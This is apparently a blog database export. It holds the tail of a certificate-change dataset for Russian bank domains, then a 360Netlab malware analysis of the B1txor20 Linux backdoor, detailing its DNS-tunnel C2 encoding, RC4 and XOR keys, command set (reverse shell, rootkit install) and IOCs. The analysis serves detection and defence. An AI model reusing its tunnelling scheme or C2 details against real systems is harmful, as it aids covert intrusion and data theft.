Inc|financial/bank|connect_error|None|None\n2022-03-01 01:35:15|index.vtbcapital.ru|05a89c6f02cf8d6af1b07bfe4ecedc08e28b89b3|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-02-22 11:34:09|598.9\n2022-03-01 01:41:54|*.pib.ua|a8f0b2ee09757d5c1c078a8ab09d02adaf2fb90a|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-01 20:49:38|*.rdif.ru|0aa035b197adec963573943750b8722613c6f32d|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-14 14:28:08|1058.5\n2022-03-02 00:17:47|www.vtbcapital.ru|cd833e8b6c3bd7ba6ef82863e2d455f36115d887|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-01 10:48:02|630.2\n2022-03-02 00:48:49|divrating.ru|ad6f7d3f3cf19b2f7d2bd8046d4b282164c11ee3|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-02 00:50:35|retail-tst.payment.ru|7382892d1cda4062c3c36fe9f7cb3aa98c91f192|DigiCert Inc|financial/bank|Promsvyazbank Public Joint-Stock Company|2022-02-09 06:27:00|336.4\n2022-03-02 00:51:23|business.psbank.ru|0d7a666e2b8096bd855ee04cecaaaf7bb0bad65b|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-01 13:56:11|784.8\n2022-03-02 00:52:44|*.fintender.ru|590a671a7b999524da77eacfe7a01f6f3a6e78b5|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-01 10:25:28|572.7\n2022-03-02 00:53:11|elf.sovcombank.ru|51f335b5dc8dfcedd053595ce7efdd0e1d7847a5|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-02 00:53:27|*.sovcomins.ru|96e64d494478f94437fa0ec80c654cb3540ccf3b|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-01 11:28:03|634.6\n2022-03-02 00:53:39|*.sovcomins.ru|5130c18cf167288432cb5e682fc75f020e6c6184|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-01 11:28:03|634.4\n2022-03-02 00:53:54|*.halvacard.ru|6e714e73b0e2aeaeb8570882268bc135481e27ae|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-01 10:32:27|578.5\n2022-03-02 00:54:52|*.sovcombank-leasing.ru|377d73b8debb805775e5d54a92a6ed9a2d59d7f7|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-01 11:21:44|626.9\n2022-03-02 01:00:22|*.sovcombank.ru|095949796378475fab907593078f31171426211b|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-02 10:35:47|575.4\n2022-03-02 01:01:05|www.russiacalling.ru|4da16dec1f8f94ad4054827da076e7ed6c616ed4|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-02-18 10:57:33|596.5\n2022-03-02 19:21:51|vtbcapital-pr.ru|33e79ce3e482ec54b6e64bd4b7d79bf43790b7f8|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 09:08:48|827.0\n2022-03-02 19:25:11|online.vtbcapital-pr.ru|ed33db76b7411f47914b801b9821a86dc79d661a|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-03 09:12:07|826.9\n2022-03-02 19:26:08|factorext.sovcomfactoring.ru|74ffb8eb4fc7d16df780e01bcb37a335fa33700d|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-10 08:38:54|792.8\n2022-03-02 19:28:06|sovcomfactoring.ru|e8aa6b085b51750279b4995c43f61084713616a1|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-09 13:26:46|1078.7\n2022-03-02 19:31:12|3ds.payment.ru|d416e7e0a63a3aee630ff53c771538bbd4757fc2|DigiCert Inc|financial/bank|ZeroSSL|2022-03-01 00:00:00|268.8\n2022-03-02 19:33:43|www.upravlyaem.ru|6666da94e3dab49d944b0c8277e99fc28c3add20|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-04 14:24:05|1130.4\n2022-03-02 19:44:46|esg.vtbcapital-am.ru|376f20fe0b9864c93aeadf592946ff5814986a20|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-02 19:47:40|online.vtbcapital-am.ru|1c41fb355d03aeb0c9b8ae774d82f479376d5169|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-02 19:51:07|vtbcapital-am.ru|7d3d2993421c7a36e29efff424deffa9a6fc41ff|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-04 03:09:27|mobile.broker.vtb.ru|9c28db643025e0d19ab43f5d1d3b6529c0ffd668|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-04 03:10:37|m.komission.vtb.ru|b9581d97f46630c0b3fa1e44abc3b87a18f1fe45|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-09 13:36:28|625.9\n2022-03-04 03:11:17|broker.vtb.ru|bfd4503f97fc6e0cbc6ad343749c3f537df04c5e|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 12:51:08|579.9\n2022-03-04 03:21:19|nh.open.ru|5e30d7f5433f04335da04a3937a60ffca9c0f573|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-03 13:34:34|613.2\n2022-03-04 03:21:20|drive.rgsbank.ru|b857c6db95e11a2a8fd8035830d0eaa939119821|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-11 05:21:11|119.8\n2022-03-04 03:21:20|flexy.open.ru|3d680c9008191aa5af8559ffd19f0b68a81dc80c|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-03 13:35:16|613.9\n2022-03-04 03:21:20|*.sovcomlife.ru|d7ca302ca85fd90ed27e7d67bfad871e3aa5d2b1|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-01 11:25:06|483.8\n2022-03-04 03:21:20|wyse.open.ru|cadc73ba8feb33dda75771916cf2b06f4e69fa95|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-03 13:34:46|613.4\n2022-03-04 03:21:21|aramis-mp.open.ru|170bc71f8654b595a54e1510dfdd9ae4c05955f5|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-12 08:47:50|326.5\n2022-03-04 03:21:21|htfx.calc-csp.rgsbank.ru|85f1d60f52b7675a7f303ee3f98d9bf23e21def9|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 13:21:46|600.4\n2022-03-04 03:21:21|htfx.front-csp.rgsbank.ru|41586bef0b15f80b8599251eb6566c08f6239e25|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 13:21:46|600.4\n2022-03-04 03:21:21|htfx.photo-csp.rgsbank.ru|60f9ec76418a966d0c1df5df0f13bc6197d6f5c0|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 13:21:46|600.4\n2022-03-04 03:21:21|htfx.pms-csp.rgsbank.ru|52eb5e8380c18902d330200a1659c7100cd2162a|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 13:21:46|600.4\n2022-03-04 03:21:21|mx1.vtbcapital.com|5e71797ed517cb6b849b416da0a13a43b74b0e59|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-04 03:21:21|mx2.vtbcapital.com|48117270c174d1f612c94ea8ca2e5691d2b9bbea|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-04 03:21:21|mx3.vtbcapital.com|9d7864b28da25ce62c482153df67e7cc2af479ff|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-04 03:21:21|mx4.vtbcapital.com|4aaac0294ce0f2738e77d32ad6d06c49db49065c|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-04 03:21:21|private.fintender.ru|2e835225e225caa7513c58673b56b47a859531e3|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-04 03:21:22|ctx-mdm.open.ru|3a30376b94476adfbb6dca5cabe4da140863cad5|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-03 13:34:58|613.6\n2022-03-04 03:21:22|tst-ctx-mdm.open.ru|d575be8cfa22ee2819721a0e83efbeb02b45742c|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-04 03:21:23|static.mobapp-daily.open.ru|22ad762875824d98e74ad61d245002c6c9e1aaff|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-12 08:47:40|326.3\n2022-03-04 03:21:25|calculator.csp.rgsbank.ru|325a187de3994fac667498c2fb604353082588ab|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 16:29:54|788.5\n2022-03-04 03:21:25|front.csp.rgsbank.ru|3ce8b3fae0fa1fa747c48fac6c40bfff6f72ef6e|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 16:29:54|788.5\n2022-03-04 03:21:25|photo.csp.rgsbank.ru|d86f49038701c42c5719887fced0990ad1d27182|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-05 16:29:54|788.5\n2022-03-04 03:21:26|bi.rgsbank.ru|010f750d54eb3ed9b557b1f5b5a2d89758d159b0|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-04 03:21:26|*.university.cbr.ru|c41d962ddf81f3e46eb2ebc0727212d1830933d9|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-01 10:16:07|414.7\n2022-03-04 08:05:19|vonage.ru|5757ed730113c3dba2b72e9b91cac869901306cb|DigiCert Inc|financial/bank|DigiCert Inc|Mulit_certs|None\n2022-03-04 19:48:24|*.vtb.ge|10be80e75a31324fb62e72400721a01fb6d74a49|DigiCert Inc|financial/bank|DigiCert Inc|Mulit_certs|None\n2022-03-04 19:48:54|ivtb.ge|5a8b15c09ee02f8cbf453dc054531df249031e9c|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-04 22:07:50|138.9\n2022-03-04 20:02:11|online.vostbank.ru|ae5dbf5b47fbf0e6f7c180696f73c26de83acb4b|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-04 20:02:24|vostbank.ru|3089301610a7d4f3d6af3410375860e7ac17c109|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-10 06:22:00|619.6\n2022-03-07 18:55:59|open.ru|e3d4bcbb295c4e2801c2652e5bbee37612db6757|Sectigo Limited|financial/bank|GlobalSign nv-sa|2022-03-04 14:37:19|1181.3\n2022-03-07 18:56:00|*.urozhai.rshb.ru|9c2db763f9fbb10b02a325ee001200b09466df11|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-08 11:52:19|1016.3\n2022-03-07 18:56:01|business.rgsbank.ru|c4be431e66306ee421c830e3a84f0a1b1307ad7f|Sectigo Limited|financial/bank|Let's Encrypt|2022-03-09 10:11:12|915.2\n2022-03-07 18:56:02|acs.rshb.ru|85de94c42a694d79a2aeea2a4c7cae381827ecb8|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-09 08:48:16|832.2\n2022-03-07 18:56:02|rshb.ru|8b9aff36b06a60ce3031947f2a370c859af8fb99|Sectigo Limited|financial/bank|GlobalSign nv-sa|2022-03-08 08:31:30|815.5\n2022-03-07 18:56:04|online.rshb.ru|d027380e5c0a0ab27967e886bcfee70fef4f31bf|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-08 08:31:30|815.4\n2022-03-07 18:56:05|*.rshb.ru|dcf6fc810d4a66b7582ea01461ddc9ad5e209828|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-08 08:31:30|815.4\n2022-03-07 18:56:06|*.mes.rshb.ru|91fba72984fb02fa86690ab86cba991686feb89f|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:08|ecom.alfabank.ru|81d4da7893e9c2f7e0ce89361d856706d2ebbf54|Sectigo Limited|financial/bank|Let's Encrypt|2022-03-09 10:55:38|959.5\n2022-03-07 18:56:08|*.sbud.rshb.ru|ad297055882cb67f39e1fd8155ad79335aa8706c|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:09|coins.rshb.ru|3c724fca6a93b4a793f58e539dc6420f3bada12a|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-09 09:21:49|865.7\n2022-03-07 18:56:09|ebs-bio.rshb.ru|06275cd5f4fb577f65084811edd9ceb8bddbe270|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:09|factoring.rshb.ru|19d403511413170b32609c23bce7a412d63b6bf1|GoGetSSL|financial/bank|GoGetSSL|2022-01-08 00:00:00|303.9\n2022-03-07 18:56:09|finradar.rshb.ru|f45b8bbb777d7edd267c50aebf438a5d9bed6218|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-14 14:55:32|1199.4\n2022-03-07 18:56:09|lk.factoring.rshb.ru|517b298ccf43a18b55334929b268578ab65f8dfd|GoGetSSL|financial/bank|GoGetSSL|2022-02-01 00:00:00|303.9\n2022-03-07 18:56:09|mx1.rshb.ru|6af4f13c7bad1eca2909a7ce73852c2c971eca59|Sectigo Limited|financial/bank|timed out|None|None\n2022-03-07 18:56:09|mx2.rshb.ru|03c96fb7670b4d1e38e062e231cf6067e8d92632|Sectigo Limited|financial/bank|timed out|None|None\n2022-03-07 18:56:09|rrdg.factoring.rshb.ru|6c765c5105719c9f0001e7dabf49acd81a6b8dc0|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:09|*.sbud.rshb.ru|3a41b87715bc4d4fe106aad7e6d78be7e50bb6aa|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:09|smx.rshb.ru|49ada6266390ab055b6d0f09593eae200377aaa3|Sectigo Limited|financial/bank|timed out|None|None\n2022-03-07 18:56:09|travelergo.rshb.ru|a9edd5ac03f386d04ef4b853028bb1b7ec5c7fa5|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:09|travelerrf.rshb.ru|e7d5b471a3705abf7082124ce7fe3f859e238113|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:10|merchant-api.sbp.rshb.ru|5ab3718a93beda27f449b32b042473e69a6cb994|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-08 11:55:47|1019.6\n2022-03-07 18:56:10|mx1.rshb.ru|2288b60c7d3e48657985ce904d59a6fb46070971|Sectigo Limited|financial/bank|timed out|None|None\n2022-03-07 18:56:10|*.plc.rshb.ru|097d0a314edbc0804996b31050cbe759ec8807ce|GoGetSSL|financial/bank|connect_error|None|None\n2022-03-07 18:56:10|test07.rshb.ru|f4774d7c5dc4d566eb31785e475714a59f1d4ecb|Sectigo Limited|financial/bank|Sectigo Limited|2022-01-20 00:00:00|303.8\n2022-03-07 18:56:10|xapi.factoring.rshb.ru|bdd72b1e18d71c3b11530c744b87529a01d60407|GoGetSSL|financial/bank|GoGetSSL|2022-02-01 00:00:00|303.8\n2022-03-07 18:56:11|broker.rshb.ru|172a20e5fa0950478f0550971461a5b5724d5961|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-08 15:17:48|1221.6\n2022-03-07 18:56:11|*.crimearw.ru|9a8305c0f610a8ae6f6fd3a21c58b65521fad5ec|Sectigo Limited|state-enterprise|timed out|None|None\n2022-03-07 18:56:11|quik.rshb.ru|af736621443bec16668533737afc2435fdd5bcbf|GoGetSSL|financial/bank|GlobalSign nv-sa|2022-03-08 15:06:56|1210.8\n2022-03-11 19:26:00|sberinsur.ru|93b10cb245f35e7d2c9ecbba5c10d7b5adf0f778|Sectigo Limited|financial/bank|connect_error|None|None"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 622d67e3a5c41b00078fc75f |
post | null | 2022-03-15T09:06:31.000Z | 63873b9a8b1c1e0007f53010 | b1txor20-use-of-dns-tunneling_en | 0 | 2022-03-15T14:00:00.000Z | public | published | null | 2022-03-15T14:00:00.000Z | New Threat: B1txor20, A Linux Backdoor Using DNS Tunnel | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>Since the <strong>Log4J vulnerability</strong> was exposed, we see more and more malware jumped on the wagon, Elknot, Gafgyt, Mirai are all too familiar, on February 9, 2022, 360Netlab's honeypot system captured an unknown ELF file propagating through the Log4J vulnerability. What stands out is that the network traffic generated by this sample triggered a <strong>DNS Tunnel alert</strong> in our system, We decided to take a close look, and indeed, it is a new botnet family, which we named <strong>B1txor20</strong> based on its propagation using the file name "b1t", the XOR encryption algorithm, and the RC4 algorithm key length of 20 bytes.</p>
<p>In short, B1txor20 is a Backdoor for the Linux platform, which uses DNS Tunnel technology to build C2 communication channels. In addition to the traditional backdoor functions, B1txor20 also has functions such as opening Socket5 proxy and remotely downloading and installing Rootkit.</p>
<p>Another interesting point is that we found that many developed features are not put into use (in IDA, there is no cross-reference); some features have bugs. we presume that the author of B1txor20 will continue to improve and open different features according to different scenarios, so maybe we will meet B1txor20's siblings in the future.</p>
<h2 id="b1txor20overview">B1txor20 Overview</h2>
<p>We have captured a total of four different B1txor20 samples, their functions are almost the same, a total of 15 function numbers are supported, according to these functions, B1txor20 can be characterized as: <strong>using DNS Tunnel to establish C2 channel</strong>, support direct connection and relay, while using <code>ZLIB compression, RC4 encryption, BASE64 encoding</code>to protect the traffic of the backdoor Trojan, mainly targets <code>ARM, X64 CPU</code> architecture of the Linux platform.</p>
<p>The main features currently supported are shown below.</p>
<ol>
<li>SHELL</li>
<li>Proxy</li>
<li>Execute arbitrary commands</li>
<li>Install Rootkit</li>
<li>Upload sensitive information</li>
</ol>
<p>Its basic flowchart is shown below.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_net.png" width="860px" />
<h2 id="reverseanalysis">Reverse Analysis</h2>
<p>We choose the sample on February 09, 2022 as the main object of analysis, and its basic information is shown as follows.</p>
<pre><code>MD5:0a0c43726fd256ad827f4108bdf5e772
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
Packer:None
</code></pre>
<p>The sample of B1txor20 is dynamically linked, so it is relatively easy to reverse. Simply put, when B1txor20 executes, it will first disguise itself as a [netns] process, run a single instance through the PID file<code>/var/run/.netns.pid</code>, and then use <code>/etc/machine-id</code>, <code>/tmp/.138171241</code> or <code>/dev/urandom</code> to generate the BotID, then decrypt the domain name used for DNS Tunnel and the RC4 secret key used to encrypt the traffic and test the connectivity of the DNS server, and finally use DNS Tunnel to send registration information to C2 and wait for the execution of the commands issued by C2. Here we will not go into details about the regular functions, we will take a look at the DNS Tunnel implementation of the B1txor20.</p>
<h2 id="generatingbotid">Generating Bot ID</h2>
<p>B1txor20 uses the following code snippet to read 32 bytes from <code>/etc/machine-id</code>, or <code>/tmp/.138171241</code>, for generating BotId, and if it fails, a 16 bytes of data will be generated via /dev/urandom and will be written to the previous 2 files.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_id.png" width="860px" />
<p>The following code snippet shows the process of BotId calculation.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_calc.png" width="860px" />
<p>Taking the machine-id value<code>ab3b49d10ec42c38b1093b8ce9ad12af</code>of our VM as an example, the following equivalent python code can be used to calculate the value of BotId as <strong>0x125d</strong>.</p>
<pre><code class="language-python">import struct
id='ab3b49d10ec42c38b1093b8ce9ad12af'
values=struct.unpack("<16H",id)
sum=0
for i in values:
sum ^= i
print hex(sum)
if sum&0xff <0xf:
sum+=0x10
if sum>>8 < 0xf:
sum+=0x1000
print hex(sum) # sum=0x125d
</code></pre>
<h2 id="decryption">Decryption</h2>
<p>B1txor20 decrypts the domain name and RC4 secret key stored in the sample with the following code snippet.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_dec.png" width="860px" />
<p>Its principle is very simple, it is a single-byte xor operation, where xor_key is<code>49 D3 4F A7 A2 BC 4D FA 40 CF A6 32 31 E9 59 A1</code>.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_xor.png" width="860px" />
<p>The decryption process is equivalent to the CyberChef implementation in the following figure, which shows that the domain name is<code>.dns.webserv.systems</code> and the RC4 secret key is <code>EnLgLKHhy20f8A1dX85l</code>.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_chef_xor.png" width="860px" />
<h2 id="measuretheconnectivityofdnsservers">Measure the connectivity of DNS servers</h2>
<p>B1txor20 tests the connectivity of 3 DNS (8.8.8.8:53, 8.8.8.4:53, 194.165.16.24:443) servers with the following code snippet.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_dns.png" width="860px" />
<p>The principle is to use <code>res_mkquery</code> API to build the DNS request message for "google.com", then send the request via <code>res_send</code>, and as long as it can be sent successfully, the network is considered to be connected to the corresponding DNS server, and they are saved for subsequent use.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_test.png" width="860px" />
<p>The actual traffic generated by Bot and 194.165.16.24 is as follows.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_show.png" width="860px" />
<h2 id="cccommunication">C&C Communication</h2>
<p>When the above preparations are completed, B1txor20 enters the final stage, using DNS Tunnel to establish communication with C2 and wait for the execution of the commands sent by C2.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_final.png" width="860px" />
<p>Generally speaking, the scenario of malware using DNS Tunnel is as follows:</p>
<blockquote>
<p>Bot sends the stolen sensitive information, command execution results, and any other information that needs to be delivered, after hiding it using specific encoding techniques, to C2 as a DNS request; After receiving the request, C2 sends the payload to the Bot side as a response to the DNS request. In this way, Bot and C2 achieve communication with the help of DNS protocol.</p>
</blockquote>
<p>In such a network structure, there are 3 key points:</p>
<p>1:C2 must support the DNS protocol<br>
2: Specific encoding techniques<br>
3: The way DNS requests are sent</p>
<p>The following section will analyze the technical details of B1txor20's communication around these points, in conjunction with the traffic generated by B1txor20 in practice.<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_packet.png" width="860px" /></p>
<h2 id="0x01locatingc2">0x01:Locating C2</h2>
<p>Through the traffic in the above figure, we can see that the SLD used by B1txor20 is webserv.systems, and using the DIG command, we can see that this SLD is point to IP 194.165.16.24; and the DNS resolution service is turned on at this IP 194, so we can determine that the C2 of B1txor20 is exactly 194.165.16.24.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_dnstxt.png" width="860px" />
<h2 id="0x02generatetunneldomainname">0x02:Generate Tunnel domain name</h2>
<p>The format of B1txor20's Tunnel domain name is<code>Base64-Like String+.dns.websrv.systems</code>. It is obvious that the front Base64 string is the information sent by Bot to C2, <strong>how is it generated</strong>?</p>
<p>First, the B1txor20 packet has a pre-construction process, which can be seen in the format of<code>0xFF + BotId + 0xFF + Stage + 0xFF + TaskInfo</code>, <strong>0xFF</strong> is used to separate different items, and when the construction is finished, according to different Stage values, different tasks will fill the<code>TaskInfo</code>section accordingly.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_pre.png" width="860px" />
<p>Take the above task as an example, the Stage value is 1. Through the <code>gather_info</code> function, the information of "sysinfo_uptime,uid,hostname" is filled into <code>TaskInfo</code>, and they are separated by<strong>0x0a</strong>.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_reg.png" width="860px" />
<p>When the required information is ready, B1txor20 uses the<strong>process_query</strong>function to further process the above information, which includes three processes: <strong>ZLIB compression, RC4 encryption, and Base64 encoding</strong>.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_process.png" width="860px" />
<p>The secret key used in RC4 encryption is the string "EnLgLKHhy20f8A1dX85l" mentioned in the previous decryption section, and the Alphabet String used in Base64 is <code>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^_</code>.</p>
<p>Finally, B1txor20 adds 1 byte of status and 4 bytes of random string before the Base64 string generated above, and then splices it with domain, which is the final domain name to be queried. The value of status is ['0', '1', '2'], 0 means that the current query is truncated, the subsequent query and the current should be spelled into the same; 1 means that when the query is complete.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_tun.png" width="860px" />
<p>Let's take a look at the actual generated query <code>1HQoOKPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A.dns.webserv.systems</code>, removing the first 5 bytes, and the .dns.webserv.systems part to get <code>KPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A</code>, then use Base64 decoding, RC4 decryption, ZLIB decompression, you can get the following raw data.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_origin.png" width="860px" />
<p>From the data content and format, it can correspond with our previous description one by one, indicating that our previous analysis is correct.</p>
<pre><code>Botid =0x125d
Stage=1
sysinfo.uptime = 34
uid=30
hostname=debian
</code></pre>
<h2 id="0x3senddnsrequest">0x3:Send DNS request</h2>
<p>When the above domain name construction is complete, B1txor20 generates and sends DNS requests using the RES series API.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_senddns.png" width="860px" />
<p>There are 3 ways to send DNS requests, depending on the previous test of DNS connectivity.</p>
<p>1.Send to public dns (8.8.8.8, 8.8.4.4)<br>
2.Send directly to C2 (194.165.16.24)<br>
3.Send to local dns (nameserver in /etc/resolv.conf)</p>
<p>In this way, it is faster, but less concealed and easy to be detected and traced; in this way, 1 and 3 are more concealed, but a little slower.</p>
<h2 id="0x4processc2payload">0x4:Process C2 payload</h2>
<p>After the Bot sends the DNS request in the above way, it waits for the execution of the C2 instruction, which is stored in the response message of the DNS request in the format of <code>Status(1 byte):Body</code>, where the Body part also uses "ZLIB compression, RC4 encryption, BASE64 encoding " protection method.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_recv.png" width="860px" />
<p>For example, the actual command "1VSE6NZwczNMm2zgaXeLkZro=" is received in the following figure.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_cmd.png" width="860px" />
<p>Body part for "VSE6NZwczNMm2zgaXeLkZro=", After decoded by Base64, RC4 decryption, you can get the following format of data, and then decompression of the<code>red part</code>, you get the final instruction <code>FF 02 FF 0A FF</code>, you can see that its format and the format generated by the above query is consistent, at this point it can be known that Bot will go to perform 0x02 function, so that Bot's round of interaction with C2 is complete.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_after.png" width="860px" />
<h2 id="ccinstructions">C&C instructions</h2>
<p>B1txor20 supports a total of 14 instructions, and the correspondence between instruction number and function is shown in the following table.</p>
<table>
<thead>
<tr>
<th>Cmd ID</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1</td>
<td>Beacon/Heartbeat</td>
</tr>
<tr>
<td>0x2</td>
<td>Upload system info</td>
</tr>
<tr>
<td>0x3</td>
<td>Create "/dev/pamd" (unix domain socket) which can get a shell</td>
</tr>
<tr>
<td>0x4</td>
<td>Exec arbitrary system cmd via popen</td>
</tr>
<tr>
<td>0x5</td>
<td>Traffic forwarding</td>
</tr>
<tr>
<td>0x6</td>
<td>Write File</td>
</tr>
<tr>
<td>0x7</td>
<td>Read File</td>
</tr>
<tr>
<td>0x8</td>
<td>Deliver info via "/var/tmp/.unetns"(unix domain socket),Not used</td>
</tr>
<tr>
<td>0x9</td>
<td>Upload specific info,Not used</td>
</tr>
<tr>
<td>0x10</td>
<td>Stop proxy service</td>
</tr>
<tr>
<td>0x11</td>
<td>Start proxy service</td>
</tr>
<tr>
<td>0x1a</td>
<td>Create proxy service</td>
</tr>
<tr>
<td>0x21</td>
<td>Reverse shell</td>
</tr>
<tr>
<td>0x50</td>
<td>Upload "/boot/conf- XXX" info,Not used</td>
</tr>
<tr>
<td>0x51</td>
<td>install M3T4M0RPH1N3.ko rootkit</td>
</tr>
</tbody>
</table>
<p>In the table, "Not used" means that this function has the corresponding processing code in the sample, but it is not called. We are not sure if these codes are used for debugging or in other scenarios.</p>
<p>We found that some functions are buggy in their implementation, such as 0x3, which uses the remove function to delete the socket file after bind the domain socket, which makes the socket unconnectable and thus the whole function is useless.</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_bug.png" width="860px" />
<h2 id="smallnote">Small note</h2>
<p>We noticed the domain name has been registered for 6 years, which is kind unusual?</p>
<pre><code>webserv.systems createddate 2021-02-08 15:13:22
webserv.systems updateddate 2021-02-24 22:27:23
webserv.systems expiresdate 2027-02-08 15:13:22
</code></pre>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h2 id="ioc">IOC</h2>
<h3 id="c2">C2</h3>
<pre><code>webserv.systems
194.165.16.24:53
194.165.16.24:443
</code></pre>
<h3 id="scanner">Scanner</h3>
<pre><code>104.244.73.126 Luxembourg|Luxembourg|Unknown 53667|FranTech_Solutions
109.201.133.100 Netherlands|North_Holland|Amsterdam 43350|NForce_Entertainment_B.V.
162.247.74.27 United_States|New_York|New_York_City 4224|The_Calyx_Institute
166.78.48.7 United_States|Texas|Dallas 33070|Rackspace_Hosting
171.25.193.78 Sweden|Stockholm_County|Stockholm 198093|Foreningen_for_digitala_fri-_och_rattigheter
185.100.87.202 Romania|Bucharest|Unknown 200651|Flokinet_Ltd
185.129.62.62 Denmark|Region_Hovedstaden|Copenhagen 57860|Zencurity_ApS
185.220.100.240 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.241 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.242 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.243 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.246 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.249 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.250 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.252 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.254 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.255 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.101.134 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.136 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
